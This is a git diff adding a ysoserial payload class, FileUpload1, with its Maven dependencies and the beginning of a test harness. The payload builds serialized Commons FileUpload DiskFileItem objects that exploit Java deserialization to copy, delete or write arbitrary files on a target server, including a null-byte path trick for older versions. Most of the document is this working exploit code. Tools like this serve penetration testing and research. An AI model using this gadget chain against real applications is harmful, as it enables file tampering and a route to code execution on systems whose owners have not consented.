diff --git a/pom.xml b/pom.xml
index 8d39e9b..e8c32f9 100644
--- a/pom.xml
+++ b/pom.xml
@@ -93,6 +93,11 @@
javassist
3.19.0-GA
+
+ commons-codec
+ commons-codec
+ 1.9
+
@@ -147,6 +152,11 @@
jdk15
2.4
+
+ commons-fileupload
+ commons-fileupload
+ 1.3
+
diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java
new file mode 100644
index 0000000..db84ac7
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/FileUpload1.java
@@ -0,0 +1,124 @@
+package ysoserial.payloads;
+
+
+import java.io.File;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.reflect.Field;
+import java.util.Arrays;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.commons.fileupload.disk.DiskFileItem;
+import org.apache.commons.io.output.DeferredFileOutputStream;
+import org.apache.commons.io.output.ThresholdingOutputStream;
+
+import ysoserial.PayloadTest;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ * Gadget chain:
+ * DiskFileItem.readObject()
+ *
+ * Arguments:
+ * - copyAndDelete:sourceFile:destDir
+ * - write:destDir:ascii-data
+ * - writeB64:destDir:base64-data
+ * - writeOld:destFile:ascii-data
+ * - writeOldB64:destFile:base64-data
+ *
+ * Yields:
+ * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
+ * - pre 1.3.1 (+ old JRE): write data to an arbitrary file
+ * - 1.3.1+: write data to a more or less random file in an arbitrary directory
+ *
+ * @author mbechler
+ */
+@Dependencies ( {
+ "commons-fileupload:commons-fileupload:1.3.1",
+ "commons-io:commons-io:2.4"
+} )
+@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
+public class FileUpload1 implements ObjectPayload {
+
+ /**
+ * {@inheritDoc}
+ *
+ * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
+ */
+ public DiskFileItem getObject ( String command ) throws Exception {
+
+ String[] parts = command.split(":");
+
+ if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
+ return copyAndDelete(parts[ 1 ], parts[ 2 ]);
+ }
+ else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
+ return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
+ }
+ else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
+ return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
+ }
+ else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
+ return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
+ }
+ else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
+ return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
+ }
+ else {
+ throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
+ }
+ }
+
+
+ private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
+ return makePayload(0, copyTo, copyAndDelete, new byte[1]);
+ }
+
+
+ // writes data to a random filename (update__.tmp)
+ private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
+ return makePayload(data.length + 1, dir, dir + "/whatever", data);
+ }
+
+
+ // writes data to an arbitrary file
+ private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
+ return makePayload(data.length + 1, file + "\0", file, data);
+ }
+
+
+ /**
+ * @param thresh
+ * @param repoPath
+ * @param filePath
+ * @param data
+ * @return
+ * @throws IOException
+ * @throws Exception
+ */
+ private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
+ // if thresh < written length, delete outputFile after copying to repository temp file
+ // otherwise write the contents to repository temp file
+ File repository = new File(repoPath);
+ DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
+ File outputFile = new File(filePath);
+ DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
+ OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
+ os.write(data);
+ Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written");
+ writtenF.setAccessible(true);
+ writtenF.set(dfos, data.length);
+ Reflections.setFieldValue(diskFileItem, "dfos", dfos);
+ Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
+ return diskFileItem;
+ }
+
+
+ public static void main ( final String[] args ) throws Exception {
+ PayloadRunner.run(FileUpload1.class, args);
+ }
+
+}
diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java
new file mode 100644
index 0000000..09ce06d
--- /dev/null
+++ b/src/test/java/ysoserial/payloads/FileUploadTest.java
@@ -0,0 +1,85 @@
+/**
+ * © 2016 AgNO3 Gmbh & Co. KG
+ * All right reserved.
+ *
+ * Created: 05.03.2016 by mbechler
+ */
+package ysoserial.payloads;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.concurrent.Callable;
+
+import org.junit.Assert;
+
+import com.google.common.io.Files;
+
+import ysoserial.CustomTest;
+
+/**
+ * @author mbechler
+ *
+ */
+public class FileUploadTest implements CustomTest {
+
+ /**
+ *
+ */
+ private static final byte[] FDATA = new byte[] {(byte) 0xAA, (byte) 0xBB, (byte) 0xCC, (byte) 0xDD, (byte) 0xEE, (byte) 0xFF };
+ private File source;
+ private File repo;
+
+
+ /**
+ *
+ */
+ public FileUploadTest () {
+ try {
+ source = File.createTempFile("fileupload-test", ".source");
+ source.deleteOnExit();
+ repo = Files.createTempDir();
+ }
+ catch ( IOException e ) {
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * {@inheritDoc}
+ *
+ * @see ysoserial.CustomTest#run(java.util.concurrent.Callable)
+ */
+ public void run ( Callable